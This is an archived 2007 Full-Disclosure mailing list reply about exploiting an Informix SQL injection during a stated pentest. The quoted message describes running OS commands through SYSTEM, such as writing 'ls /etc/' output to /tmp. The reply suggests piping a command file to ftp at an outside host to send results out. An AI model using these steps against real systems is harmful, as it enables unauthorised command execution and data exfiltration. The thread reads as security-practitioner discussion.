full-disclosure - Re: Informix SQL injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Mon, 5 Feb 2007 20:43:11 +0100
From: "Tyop?" <tyoptyop@...il.com>
To: "Joshua Tagnore" <joshua.tagnore@...il.com>, 
	full-disclosure@...ts.grok.org.uk
Subject: Re: Informix SQL injection

On 2/5/07, Joshua Tagnore <joshua.tagnore@...il.com> wrote:
> List,
>
>     I'm doing a pentest on a website that uses informix web datablade and
> found a sql injection point. I have been able to use the webexplode() stored
> procedure to execute any SQL commands, and also operating system commands
> using SYSTEM. The problem I have is that SYSTEM doesnt return the execution
> result(its a procedure, not a function), so I have to save them to a file;
> for example : SYSTEM 'ls /etc/ > /tmp/result' and then read that file... the
> problem is... how do i read that file ? I have tried with "load from ..."
> and it fails with a sintax error, and on the other side, when I use
> FILETOCLOB('/tmp/result','server') i dont know how to get
> the contents of the CLOB... anyone knows something informix ?
>
> Cheers,

Create a file with a list of commands,
and "cat \"your_file\" | ftp ftp.mydomain.com [port]"

My 2cts.

-- 
GUASCONI Vincent
Etudiant.
http://altmylife.blogspot.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/